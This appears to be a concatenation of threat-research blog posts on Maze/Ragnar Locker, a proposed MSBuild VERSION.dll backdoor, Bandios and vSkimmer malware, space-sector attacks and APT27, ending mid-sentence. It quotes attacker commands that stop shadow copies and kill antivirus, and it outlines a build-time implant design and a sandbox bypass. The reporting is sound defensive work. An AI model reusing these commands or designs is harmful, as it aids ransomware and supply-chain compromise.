undocumented things to explore. A puzzle with a thousand pieces. What capabilities can be squeezed out of it? How much more is there to discover? For me, it is a pretty fascinating journey that also brings me closer to the language that I love. Hopefully, these articles will inspire others and enable them to explore as well.
# Maze Attackers Adopt Ragnar Locker Virtual Machine Technique While conducting an investigation into an attack in July in which the attackers repeatedly attempted to infect computers with Maze ransomware, analysts with Sophos’ Managed Threat Response (MTR) discovered that the attackers had adopted a technique pioneered by the threat actors behind Ragnar Locker earlier this year, in which the ransomware payload was distributed inside of a virtual machine (VM). In the Maze incident, the threat actors distributed the file-encrypting payload of the ransomware on the VM’s virtual hard drive (a VirtualBox virtual disk image (.vdi) file), which was delivered inside of a Windows .msi installer file more than 700MB in size. The attackers also bundled a stripped down, 11-year-old copy of the VirtualBox hypervisor inside the .msi file, which runs the VM as a “headless” device, with no user-facing interface. The Maze-delivered virtual machine was running Windows 7, as opposed to the Windows XP VM distributed in the Ragnar Locker incident. A threat hunt through telemetry data initially indicated the attackers may have been present on the attack target’s network for at least three days prior to the attack beginning in earnest, but subsequent analysis revealed that the attackers had penetrated the network at least six days prior to delivering the ransomware payload. The investigation also turned up several installer scripts that revealed the attackers’ tactics and found that the attackers had spent days preparing to launch the ransomware by building lists of IP addresses inside the target’s network, using one of the target’s domain controller servers, and exfiltrating data to cloud storage provider Mega.nz. The threat actors initially demanded a $15 million ransom from the target of the attack. The target did not pay the ransom. ## How the Attack Transpired Subsequent analysis by the MTR team revealed that the attackers orchestrated the attack using batch files and made multiple attempts to maliciously encrypt machines on the network. The first iteration of ransomware payloads were all copied to the root of the %programdata% folder, using the filenames enc.exe, enc6.exe, and network.dll. The attackers then created scheduled tasks that would launch the ransomware with names based on variants of Windows Update Security or Windows Update Security Patches. The initial attack did not produce the desired result; the attackers made a second attempt, with a ransomware payload named license.exe, launched from the same location. But before they launched it, they executed a script that disabled Windows Defender’s Real-Time Monitoring feature. The attackers then executed a command that would create a scheduled task on each computer they had copied the license.exe payload to, this time named Google Chrome Security Update, and set it up to run once at midnight (in the local time zone of the infected computers). These detections indicate that the ransomware payloads were being caught and quarantined on machines protected by Sophos endpoint products before they could cause harm. Sophos analysts started to see detections that indicated the malware was triggering the Cryptoguard behavioral protections of Intercept X. In this case, Cryptoguard was preventing the malware from encrypting files by intercepting and neutralizing the Windows APIs that the ransomware was attempting to use to encrypt the hard drive. So the attackers decided to try a more radical approach for their third attempt. ## Weaponized Virtual Machine The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. Inside of the .msi was an installer for both the 32-bit and 64-bit versions of VirtualBox 3.0.4. This version dates back to 2009 and is still branded with its then-publisher’s name, Sun Microsystems. The .msi also contains a 1.9GB (uncompressed) virtual disk named micro.vdi, which itself contains a bootable partition of Windows 7 SP1, and a file named micro.xml that contains configuration information for the virtual hard drive and session. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The DLL file has a different, internal name for itself. The preload.bat file modifies the computer name of the virtual machine, generating a series of random numbers to use as the name, and joins the virtual machine to the network domain of the victim organization’s network using a WMI command-line function. The virtual machine was configured in advance by someone who knew something about the victim’s network, because its configuration file (“micro.xml”) maps two drive letters that are used as shared network drives in this particular organization, presumably so it can encrypt the files on those shares as well as on the local machine. It also creates a folder in C:\SDRSMLINK\ and shares this folder with the rest of the network. At some point, the malware also writes out a file named startup_vrun.bat. We found this file in c:\users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Startup, which means it’s a persistence mechanism that relies on the computer rebooting before the attackers launch the malware. The script copies the same three files found on the root of the VM disk (the vrun.exe and payload DLL binaries, and the preload.bat batch script) to other disks, then issues a command to shut down the computer immediately. When someone powers the computer on again, the script executes vrun.exe. The C:\SDRSMLINK\ folder location, created when the .msi file first runs, acts as a clearinghouse for specific folders the malware wants to track. It’s full of symbolic links (symlinks, similar to Windows shortcuts) to folders on the local hard drive. ## The Ragnar Locker Connection The technique used in the third attack is completely different from those used before by the threat actors behind Maze, but the investigators recognized it immediately because the team who responded to this Maze attack are the same team that responded to the Ragnar Locker ransomware attack, where the technique was first seen. In an earlier attack, Ragnar Locker also deployed a virtual machine in an attempt to bypass protection measures. In Sophos’ earlier reporting about Ragnar Locker, we wrote that “Ragnar Locker ransomware was deployed inside an Oracle VirtualBox Windows XP virtual machine. The attack payload was a 122 MB installer with a 282 MB virtual image inside—all to conceal a 49 kB ransomware executable.” MITRE has subsequently added this technique to its ATT&CK framework. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. This significantly increased the size of the virtual disk but also adds some new functionality that wasn’t available in the Ragnar Locker version. The threat actors bundled a VirtualBox installer and the weaponized VM virtual drive inside a file named pikujuwusewa.msi. The attackers then used a batch script called starter.bat to launch the attack from within the VM. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this newer VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is significant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection. | | Ragnar Locker | Maze | |-----------------------|---------------|---------------------| | MSI installer | 122 MB | 733 MB | | | OracleVA.msi | pikujuwusewa.msi | | Virtual Disk Image (VDI) | 282 MB | 1.90 GB | | | micro.vdi | micro.vdi | | Ransomware binary in VDI | 49 KB | 494 KB | | | vrun.exe | payload | The attackers also executed the following commands on the host computer during the Maze attack: - `cmd /c msiexec /qn /i \\<machine-hosting-malware>\frs\pikujuwusewa.msi` This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. - `C:\Windows\System32\cmd.exe /C sc stop vss` They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies. - `C:\Windows\System32\cmd.exe /C sc stop sql` They halt SQL services to ensure that they can encrypt any databases. - `C:\Windows\System32\cmd.exe /C taskkill /F /IM SavService.exe` They attempt to stop Sophos endpoint protection services (which fails). - `C:\Windows\System32\cmd.exe /C sc start VBoxDRV` Finally, they start the VirtualBox service and launch the VM. ## The Future of Ransomware? The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims. As endpoint protection products improve their abilities to defend against ransomware, attackers are forced to expend greater effort to make an end-run around those protections. Sophos endpoint products detect components of this attack as Troj/Ransom-GAV or Troj/Swrort-EG. Indicators of compromise can be found on the SophosLabs Github.
# Backdooring MSBuild In 2020, different United States federal government branches were affected by a massive data breach. One part of these efforts was an attack on SolarWinds and their platform, including the build-infrastructure of their flagship product, SolarWinds Orion. On January 11th, 2021, the CrowdStrike Intelligence Team published an analysis of a malicious tool deployed into SolarWinds’ build environment to inject the SUNBURST backdoor into the SolarWinds Orion platform at build-time. The CrowdStrike blog post was referred to me by a colleague. Initially, I thought it was pretty sloppy of the SUNSPOT developers to search for MSBuild.exe processes every second, then read the virtual memory of these remote processes to determine if the right solution is being built right now. In addition to all this noise, the SUNBURST attackers created a Scheduled Task to start the implant on every boot. If one imagines that you are a top-of-the-line attack boutique and compromised different hard targets, including the build-infrastructure, why do you resort to such a crude way to execute that beautiful implanting attack? So how could one do better? ## MSBuild Revisited MSBuild, the Microsoft engine for building applications, uses (most of the time) XML files to steer the targeted solution’s build process. One of the first things you’ll notice when inspecting the MSBuild.exe binary is that it is itself a .NET Assembly. So what is the best way to backdoor (almost) any .NET Assembly? Right, using the version.dll trick. After running a quick build of an arbitrary solution (e.g. via `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SomeProject.sln /t:Build /p:Configuration=Release;Platform=Win64`) and recording a trace with ProcMon, multiple DLLs are searched in the directory of MSBuild.exe: ```json {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ole32.dll"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSB"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-string-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSB"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sxs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WindowsCodecs"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll"}, {"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll"} ``` Given these results, we can target MSBuild.exe or the C# compiler (Csc.exe) directly, depending on our preferences and objectives. As CrowdStrike mentioned, the implant checked for the right solution being built, so we also will target MSBuild.exe in our tests. ### VERSION.dll Structure For our purposes, it is enough to know that VERSION.dll exports 17 names, which we need to implement (or forward) to ensure the target’s functionality is not impaired. - `GetFileVersionInfoA` - `GetFileVersionInfoByHandle` - `GetFileVersionInfoExA` - `GetFileVersionInfoExW` - `GetFileVersionInfoSizeA` - `GetFileVersionInfoSizeExA` - `GetFileVersionInfoSizeExW` - `GetFileVersionInfoSizeW` - `GetFileVersionInfoW` - `VerFindFileA` - `VerFindFileW` - `VerInstallFileA` - `VerInstallFileW` - `VerLanguageNameA` - `VerLanguageNameW` - `VerQueryValueA` - `VerQueryValueW` ## Proof of Concept (PoC) The following section describes a crude PoC that implements the backdoor functionality in a DLL without the need for reading remote process memory or triggering a process search every second. The PoC will be written in PureBasic, as no sane attacker will implement his implant in it and copy-pasting of this source is therefore not a concern. ### Objectives The implant should have the following characteristics: - No additional running processes - No remote process actions (reading/writing remote process memory, etc.) - Only trigger on the right solution being built - Insertion of the backdoor during the build process - Removal of the backdoored source file after the build process ### Implementation As we saw earlier, the VERSION.dll file is loaded very early by the .NET runtime. By implementing mock-functions, it is possible to verify that the DLL is not only loaded, but the function `GetFileVersionInfoSizeW` is called right before the build process is executed. Given that, it is possible not to rely on any half-baked solution in the DllMain function and get around any problems with the Loader Lock by simply hijacking the call `GetFileVersionInfoSizeW`, executing our backdoor insertion code, then calling the real `GetFileVersionInfoSizeW` function and returning its result. In the PoC presented below, the backdoor is inserted in the call to `GetFileVersionInfoSizeW`. The source is saved in memory, and as soon as DllMain is called with `DLL_PROCESS_DETACH`, the backdoor code is removed by restoring the previous source code. ## Conclusion Targeting MSBuild directly by copying our VERSION.dll to the MSBuild directory ensures better operational security as no additional processes need to be created, the memory search can be omitted and every build is captured, as our code is directly executed by MSBuild.
# Reversing Bandios/Colony Malware I found the sample on the ANY.RUN sandbox. On the ANY.RUN sandbox, we see that it spawns the child process with the `-install` argument. The child process creates several files under `%SYSTEM_DIRECTORY%`. If we run the same executable on hybrid-analysis, we get almost nothing; it executes recursively and never ends. Let’s dive in deep and see what happens. **NOTE:** I've renamed functions after analysis. After getting the necessary privileges, it checks if the `-install` argument is there. If not, it executes `copy_tmp_with_install_arg` and `collect_encrypt_send`; otherwise, `iaStorE_and_files` will be executed. Inside `copy_tmp_with_install_arg`, it copies itself to the `%TEMP%` directory and executes with the `-install` argument. A very interesting fact is that there are two ways to execute an application using the `CreateProcess` function: - `CreateProcess(exePath, nullptr, ...);` - `CreateProcess(nullptr, exePath, ...);` If we run the program via the first method, we get a command line string with quotation marks; otherwise, we get one without it. The sample calls the second variant, and at the beginning of the process, it checks the arguments without quotation marks. In the normal environment, it works as expected, but not on the hybrid-analysis sandbox. Most likely, hybrid-analysis hooks `CreateProcess` at some level, and after checking parameters, it changes something and passes arguments to lower functions. So, at the end, we get a different command line string, which causes infinite recursion in the case of the sample. We can use this simple technique to bypass the hybrid-analysis sandbox (any.run is immune). That’s the reason why hybrid-analysis fails. Let’s get back to our analysis. **UPDATE 17.04.2018:** The bypass on hybrid-analysis is fixed now. After executing the child process with the `-install` parameter, it calls the `collect_encrypt_send` function and starts collecting information about the system: - Windows version - Installed browser **NOTE:** A clean version of Windows 10 contains `HKEY_CURRENT_USER\Software\Google\Chrome` key, even if there is no Chrome installed, so this method is not reliable. - Installed AV via checking `HKEY_LOCAL_MACHINE\\SOFTWARE\\%AV_NAME%` key - MAC address of the adapter and system language It passes the collected information to the `machine_info_AES_base64` function, which encrypts the content with AES and encodes it with base64. Inside `machine_info_AES_base64`, it calls `CoCreateGuid` to generate 8 bytes of random data and adds another 8 bytes hardcoded value `1Q2a3k79`. The sample uses MD5 functions from `advapi32.dll` to calculate the MD5 hash of the abovementioned 16 bytes string (`8_rand_bytes_8_hard_coded`). After that, it uses the hash as the key to encrypt the system information using the AES algorithm and encodes the encrypted content via base64. **NOTE:** IDAScope plugin for IDA Pro is very useful to detect which cryptography algorithms are used in a sample. It sends the encrypted and encoded data to `iostream.system.band/dump/io/time.php`. The first 8 bytes are generated by the `CoCreateGuid` call. There is simple code to decrypt the traffic content. After sending system information, the parent process dies, but the child process continues execution with the `-install` argument, and in this case, it executes the `iaStorE_and_files` function. After calling the `GetNativeSystemInfo` function, it extracts 32-bit or 64-bit executables based on the `SYSTEM_INFO.dwOemId` field. After checking the system architecture, it calls `write_spoolsr_and_MSdat`, where it decrypts PE from `byte_443870` (in case of a 0x64-bit system) using `0xDD` as the key, generates random `0x40` bytes, and appends them to the decrypted file. It saves the decrypted file as `%SYS_DIR%\\spoolsr.exe` and the encrypted file as `%SYS_DIR%\\MS.dat`. Similarly, `KeyHook_usp20_n_dats` extracts, decrypts, and creates the following files: `KeyHook64.dll`, `KH.dat`, `usp20.dll`, and `UP.dat`. `KeyHook64.dll` is decrypted from `KH.dat`, `spoolsr.exe` is decrypted from `MS.dat`, and `usp20.dll` is decrypted from `UP.dat`. After that, it extracts the data from resources (`0x110` in case of a `0x64` system and `0x108` otherwise) of the sample, and it seems like it’s encrypted or compressed data. It calls `decompress_` with extracted data and length of the data. IDAscope tells us that the function uses ZLIB-related constants. It seems like it’s a driver, saved under `C:\Windows\System32\drivers` as `iaStorE.sys`. On a `0x64` system, it installs the driver as a crash dump filter by simply adding the drive name to the registry key `\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\DumpFilters`. On the next reboot, `crashdmp.sys` will load the filter driver into the dump stack. For more information about Dump Filter Drivers, click here. On a `0x32` system, it installs the driver by creating a service called `iaStorE`. After extracting files and installing the driver, the sample exits. All files are signed, including drivers; certificates are revoked by their issuer, but that’s not a problem for Windows. Thank you for your time.
# VSkimmer Botnet Targets Credit Card Payment Terminals March 21, 2013 Chintan Shah While monitoring a Russian underground forum recently, we came across a discussion about a Trojan for sale that can steal credit card information from machines running Windows for financial transactions and credit card payments. The malware, vSkimmer, can detect the card readers, grab all the information from the Windows machines attached to these readers, and send that data to a control server. The author of the thread also discusses other capabilities of this malware, which appears to be a successor of Dexter, but with additional functions. We already know about botnets such as Zeus and SpyEye, which perform financial fraud using extremely sophisticated techniques including intercepting the victims’ banking transactions. VSkimmer is another example of how financial fraud is actively evolving and how financial Trojans are developed and passed around in the underground community. This botnet is particularly interesting because it directly targets card-payment terminals running Windows. Our Automated Botnet Replication Framework first saw this Trojan on January 18. We’ve analyzed samples of this malware and figured out how it steals the credit card information and its additional control functionalities. While performing the API tracing, we found it uses fairly standard antidebugging techniques. The malware collects the following information from the infected machine and sends it to the control server: - Machine GUID from the Registry - Locale info - Username - Hostname - OS version This malware uses a standard installation mechanism and copies itself as svchost.exe into %APPDATA%, modifies the registry key to add itself under the authorized list of apps, and runs ShellExecute to launch the process. One function of vSkimmer if the Internet is not available is to wait for a USB device with the volume name KARTOXA007 to be connected to the infected machine and to copy all the logs with the file name dumz.log and the card info collected from the victim to the USB drive. I checked by disconnecting from the Internet: The malware enumerated all the drives and created the file dumz.log in the drive with the preceding name. ## Extracting credit card information VSkimmer maintains the whitelisted process, which it skips while enumerating the running processes on the infected machine. Once vSkimmer finds any running process not in the whitelist, it runs OpenProcess and ReadProcessMemory to read the memory pages of the process and invokes the pattern-matching algorithm to match the regular expression “?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}\\??”)” and extract the card info read by the payment devices. This is done recursively for every process running in the infected machine and not on the whitelist. ## VSkimmer control Before communicating with the control server, the malware B64-encodes all the machine information collected and appends it to the URI. The encoded string follows this format: `machine guid|build_id|bot_version|Windows_version|Host_name|User_Name` Next, vSkimmer creates the HTTP request and connects to the control server. While this malware ran, we saw the following response. Note that the commands are within the `<cmd></cmd>` tag. Once vSkimmer receives a response from the server, it executes the following routine to parse the command: Because the response from the server during execution was `<cmd>null</cmd>`, the malware extracts the 3-byte command and tries to match it with the other commands implemented by vSkimmer. First, it checks if the command from the server is “dlx.” If not, then vSkimmer checks for the “upd” command. These commands implement the HTTP download and execute (“dlx”) and update of the bot (“upd”), respectively. As we saw earlier in this post, vSkimmer can also grab the Track 2 data stored on the magnetic strip of the credit cards. This track stores all the card information including the card number. **Chief information:** - Primary Account Number: the number printed on the front of the card - Expiration Date - Service Code: the three-digit number ## VSkimmer bot control panel Here’s a look at the control panel of the command server: **UPDATE** McAfee NSP detection: - Attack ID: 0x4880a600 - Attack Name: BOT: VSkimmer Traffic Detected - Sigset: Intrushield Network Security Signature Set 7.5.34.10 Chintan Shah is currently working as a Security Researcher with McAfee Intrusion Prevention System team and holds broad experience in the network security industry. He primarily focuses on Exploit and...
# Space Invaders: Cyber Threats That Are Out Of This World ## Background Destructive cyberattacks and digital espionage campaigns targeting international space programs is a growing and concerning trend. Some of the most significant cyberattacks over the last five years have been turning points in the state of cybersecurity of international space programs and organizations with satellite infrastructure in space. Space exploration and the significance of having satellite infrastructure in space is a key driver of scientific research and technological innovation. However, despite receiving billions of dollars in funding, the digital infrastructure and information systems supporting space programs have been impacted by significant cyberattacks from nation-state threat actors and financially motivated cybercriminal groups. This blog aims to use open source intelligence (OSINT) research to compile and highlight significant cybersecurity incidents impacting the space industry that defenders should consider when securing these types of environments. There have been a number of positive and landmark headlines recently, such as the successful launches by SpaceX, BlueOrigin, and Boeing, SpaceX providing critical communications infrastructure to Ukraine via Starlink, and the creation of the Space Force and Space ISAC. Space is also rarely able to escape geopolitical tensions and, as such, the Russian mission announced it was pulling out of the International Space Station (ISS), which has had its share of cybersecurity issues in the past. In 2008, prior to when the ISS switched to Linux from Windows XP, Russian cosmonauts reportedly introduced an infected USB device to the computers aboard the space station. The Windows XP-based laptops used by the astronauts on the ISS were infected with a virus called W32.Gammima.AG, a malicious password-swiping computer virus. Not many technical details about the event and the impact it had on the station's computers were reported publicly. National Aeronautics and Space Administration (NASA) officials at the time described the virus as a "nuisance," adding that it is "not a frequent occurrence, but this isn't the first time." ## Digital Espionage in Space: Satellites and NASA ### Satellite Turla Satellite communications (SATCOM) can provide both TV broadcasting and access to the internet to remote locations. This type of satellite-based internet access, however, is known as downstream-only connection. In September 2015, Kaspersky Labs disclosed that a Russia-based advanced persistent threat (APT) group called Turla (aka Snake or VenomousBear) exploited weaknesses in these downstream-only satellite internet connections. Turla would monitor downstream connections, identify active IP addresses, select one to appear as the originating source IP during intrusions, and hijack it by hiding malicious code within packets sent to and from the satellite. Systems compromised by Turla would also then exfiltrate data to IP addresses of regular satellite-based internet users. Turla used this special technique to target systems of governments, embassies, military entities, educational institutions, research organizations, and pharmaceutical firms across the Middle East and Africa. Turla's operations have been tied to the Russian Federal Security Service (FSB) by Estonian intelligence services. In February 2022, German investigative reporters disclosed the identities of two Turla developers and their ties to the Russian FSB. ### NASA & Chinese Technology Theft In December 2018, the US Department of Justice charged two Chinese nationals part of APT10 (aka menuPass, StonePanda or POTASSIUM) that conducted a 12-year, Chinese Ministry of State Security (MSS) global hacking spree that stole data from dozens of US companies and government agencies in a sophisticated technology theft campaign. Two of the victims who had hundreds of gigabytes of sensitive data and information stolen included the NASA Goddard Space Center and the NASA Jet Propulsion Laboratory. The APT10 operators were able to use spear-phishing attachments to deploy the PoisonIvy malware onto the victim's computers. The emails used malicious document attachments and sender addresses of legitimate but compromised accounts. Once installed, PoisonIvy records user keystrokes to steal credentials and could collect relevant files and other information from infected systems. Collected files were then added to encrypted archives and exfiltrated to remote servers owned by APT10. ### NASA & The SolarWinds Supply Chain Attack NASA was also more recently a victim of sophisticated Russian cyber-espionage campaigns. In December 2020, the SolarWinds supply chain attack linked to the Nobelium APT group (aka APT29, CozyBear, or DarkHalo) was disclosed. It involved a malicious software update for SolarWinds Orion platform that was downloaded by over 18,000 SolarWinds customers. Nobelium had managed to compromise the SolarWinds software build environment and used a custom implant called SUNSPOT to load the SUNBURST backdoor into the Orion software update. The intrusion reportedly began in September 2019 and had a first attempt in October 2019 when test code was added and pushed to SolarWinds customers. To make it harder to detect, SUNBURST's code was signed using stolen certificates from the Orion platform and it used the same naming conventions as Orion’s code so SolarWinds developers would mistake it for their own. Once installed, SUNBURST would sleep for 12-14 days before it contacted the group’s C&C domain via DNS. SUNBURST's traffic also used the Orion Improvement Program (OIP) protocol to blend in with legitimate SolarWinds activity. Nobelium would then use SUNBURST to deploy additional malware, such as TEARDROP, RAINDROP, and several others. According to the US National Security Agency (NSA) statement, around 100 nongovernment entities received follow-up activity, which included several US federal government agencies and NASA. In January 2021, the US Office of the Director of National Intelligence (ODNI) formally stated that the attack was orchestrated by the Russian Foreign Intelligence Service (SVR). ## Analysis: So What? Although space exploration and research involves a lot of collaboration between international space agencies, these intelligence agencies operate outside of and ignore these agreements. These types of digital espionage campaigns are orchestrated by threat actors operating on behalf of nation-state intelligence agencies. To be able to utilize these techniques, it requires vast resources, technically skilled researchers, and disciplined operators. Turla, APT10, and Nobelium are the very definition of advanced persistent threats. These groups operate constantly and stop at nothing to execute intelligence gathering campaigns and intellectual property theft. These types of campaigns are essentially the cyber version of traditional spying that will always happen between nation-state rivals. It is difficult to call these types of intrusions "attacks" because there were no destructive components. However, the information collected in these cyber-espionage campaigns may support future destructive offensive operations. ## Destructive Cyberattacks affecting Space Cyberattacks degrading the performance of IT systems and networks are more likely to originate from cybercriminal threat groups than nation-state APTs. In late July 2020, Garmin, a major manufacturer of navigation equipment used by NASA's Ingenuity Mars Helicopter and smart devices, was the victim of a WastedLocker ransomware. Garmin's cloud services, including device syncing and geopositioning instruments used by pilots, were disabled as a result. In its official statement, Garmin confirmed that it was the victim of the cyberattack that interrupted online services and encrypted some internal systems. Garmin reported that there was no evidence anyone gained unauthorized access to user data during the incident. An anonymous Garmin employee familiar with the incident told BleepingComputer that the ransom demand was $10 million. After a four-day global service outage, Garmin suddenly announced that they were starting to restore services after paying the ransom to the cybercriminals to receive a decryptor. Notably, WastedLocker has been attributed to EvilCorp via its similarities to DoppelPaymer and BitPaymer, other ransomware families developed by the eCrime threat group. In December 2019, EvilCorp was placed on the US OFAC sanctions list for causing $100 million in financial damages. Therefore, paying the ransom to EvilCorp could lead to hefty fines from the US government. ### World's First SATCOM Attack One of the most destructive cyberattacks in space was against Europe's SATCOM networks on the night of the Russian invasion of Ukraine. The US and EU stated that on 24 February 2022, Russia launched cyberattacks against commercial satellite communications networks known as KA-SAT, belonging to Viasat. The cyberattack was aimed to disrupt the Ukrainian command and control operations and resulted in significant spillover impacts into other European countries, including Germany, Greece, Poland, Italy, and Hungary. Broadband services took over one month to recover from the incident. According to Viasat, tens of thousands of SATCOM modems were destroyed as a result and had to be replaced. The adversaries were reportedly able to gain access by exploiting a "misconfigured VPN" and moved laterally to the management segment of the KA-SAT network. From there, the attackers executed commands to flash the memory of the modems, rendering them unusable. Interestingly, researchers from cybersecurity vendor SentinelOne uncovered a wiper malware called AcidRain designed for MIPS firmware used by the SATCOM modems that was potentially used in the KA-SAT attack. SentinelOne researchers assess with medium confidence that AcidRain was developed by the same malware authors as VPNFilter, which was officially attributed to the Russian Main Intelligence Directorate (GRU), more specifically GTsST Unit 74455, most well-known as the Sandworm Team. ### Russian Space Agencies Attacked By Hacktivists State-sponsored APT groups and organized cybercriminals are not the only perpetrators of destructive cyberattacks against the space industry. In March 2022, a pro-Ukraine hacktivist group known as Network Battalion 65 (aka NB65) shared via Twitter that it had launched an attack on Roscosmos, Russia's space agency. Dmitry Rogozin, director general of Roscosmos, later tweeted that NB65's claims were "not true" and called them "scammers and petty swindlers." However, the screenshots shared by NB65 allegedly belong to Russian satellite imaging software and vehicle monitoring systems. The incident at Roscosmos was ultimately denied by officials and unconfirmed by NB65. Also in March, a Twitter account allegedly tied to the Anonymous collective shared that another hacktivist group known as v0g3lSec defaced a website belonging to Russia’s Space Research Institute (IKI) and leaked files that allegedly belong to the Russian space agency Roscosmos. One of the stolen documents discusses the location of potential landing sites for lunar spacecraft on the Moon's South Pole. This matches with what Russian authorities have already announced their South Pole sites, which potentially increases the likelihood that these documents were successfully stolen. ## Analysis: So What? Although uncommon, purely destructive cyberattacks are often the most feared. The loss of data and access to systems can cause millions of dollars of damage to an organization and set back operations for months or years. The most destructive attacks often include data encrypting ransomware or data destroying wipers. Russia has been one of the main sources of destructive cyberattacks globally. Leading up to and during the invasion of Ukraine, Russian APT groups have deployed several data wiping malware variants against Ukrainian government entities and Ukrainian critical infrastructure organizations. Offensive cyber operations perpetrated by the Sandworm Team are some of the most dangerous in the world. It is one of the few APT groups that has successfully launched multiple cyberattacks that had destructive kinetic effects, mostly against Ukraine. ## Courses of Action Cybersecurity experts have often warned that Russian offensive cyber operations treat Ukraine like a sandbox, in that new attack types are often tested and proven in the region first. Therefore, it can be deemed vital for cyber threat intelligence analysts to monitor the threat landscape in Ukraine to capture the tactics, techniques, and procedures (TTPs) leveraged by Russian APTs before they are deployed elsewhere globally. The adversaries targeting space organizations and satellite networks are some of the most advanced in the wild. This includes highly well-resourced intelligence agencies operating on behalf of Russia and China, as well as agencies from hostile states such as Iran and North Korea. It is therefore important to recruit and cultivate skilled cybersecurity practitioners to compete with the adversaries and direct investment into technologies to prevent sophisticated attacks. A lot of the focus has been on nation-state and cybercriminal threat groups, but more focus should be on hacktivist groups that can also cause significant reputational damage to any organization. Unlike nation-states that usually try to covertly gain and maintain access or cybercriminals who look to monetize their access, hacktivists seek to embarrass an organization by defacing websites, shutting down websites by DDoS attacks, or hack-and-leak operations to spread unsavory information publicly. State-backed threat actors have also adopted hacktivist tactics due to the ability to generate headlines with the aim of embarrassing their geopolitical opposition. The threat model for the space industry is very different from many other verticals. The attack surface involves a lot of advanced technology, such as SATCOM networks, that modern vendors are not suited to protect and requires custom solutions. One main example of this is that endpoint security for Internet-of-Things (IoT) devices is not currently anywhere near the level that modern workstations have available. This makes this an area that is woefully underprepared for nation-state advanced persistent threat groups that are going undetected and waiting for the time to strike.
# APT27 Turns to Ransomware Earlier this year, Security Joes and Profero responded to an incident involving ransomware and the encryption of several core servers. After an extensive investigation, our team was able to discover samples of malware linked to a campaign reported on by TrendMicro, known as DRBControl, with links to both APT groups: APT27 and Winnti. This particular campaign revolves around attacks on major gaming companies worldwide. DRBControl was first reported on by TrendMicro and Talent-Jump Technologies at the beginning of 2020 and covered an incident they responded to back in July 2019. What was interesting about this backdoor was its utilization of Dropbox as a Command and Control (C2) server. Our team discovered a very similar sample that we were able to identify as a variant of Clambling; however, the sample lacked any Dropbox capabilities. As a result, it could be considered an older variant, or that the threat actors have different variants for different use cases. Alongside the discovered backdoor, we located the ASPXSpy webshell, a sample of PlugX, and Mimikatz. The initial infection vector was through a third-party service provider that had been previously infected through another third-party service provider. With regards to who is behind this specific infection chain, there are extremely strong links to APT27/Emissary Panda, in terms of code similarities and TTPs. APT27 is believed to be a state-sponsored Chinese APT group focused on cyberespionage and theft of information and data. What stood out in this incident was the encryption of core servers using BitLocker, which is a drive encryption tool built into Windows. This was particularly interesting, as in many cases threat actors will drop ransomware to the machines rather than use local tools. Previously, APT27 was not necessarily focused on financial gain, and so employing ransomware actor tactics is highly unusual; however, this incident occurred at a time where COVID-19 was rampant across China, with lockdowns being put into place, and therefore a switch to a financial focus would not be surprising. Upon writing this report, a report was released by PTSecurity, which covered an incident linked to APT27 where the Polar ransomware was dropped to systems, validating our belief APT27 has become more financially focused. ## INFECTION CHAIN As mentioned previously, the threat actors gained a foothold onto the company systems through a third-party compromise. An ASPXSpy webshell was also deployed to assist in lateral movement. The PlugX and Clambling samples were both loaded into memory using a Google Updater executable vulnerable to DLL Side-Loading. For each of the two samples, there was a legitimate executable, a malicious DLL, and a binary file consisting of shellcode responsible for extracting the payload from itself and running it in memory. Both samples used the signed Google Updater, and both DLLs were labeled goopdate.dll; however, the PlugX binary file was named license.rtf, and the Clambling binary file was named English.rtf. We also discovered a generic Mimikatz sample on the infected machine that was not modified by the attackers before distributing it onto the machines. Additionally, we located a binary responsible for escalating privileges by exploiting CVE-2017-0213, for which the source code is publicly available. This lines up with the TrendMicro report, which mentions the discovery of the same exploit being used. APT27 has been known to use this exploit to escalate privileges in the past, with one incident resulting in a CryptoMiner being dropped to the system. This shows us that this is not the first time APT27 has turned into financially motivated attackers. ## TOOL ANALYSIS Due to the extensive nature of PlugX usage among Chinese threat actors, we chose to focus our efforts on analyzing the Clambling implant, as it seems to be somewhat unique to this campaign. Specifically, we discovered a different variant of the Type 2 Backdoor, confirmed initially through the exposed RTTI information – the only difference is the lack of the CMuture class in the sample we discovered. Upon being loaded into memory through DLL Side-Loading, the flow of execution at first is determined by the number of arguments, rather than the content of the arguments. Before the program even queries the number of arguments, it writes the encrypted on-board configuration to the registry. In the sample we discovered, it writes it to 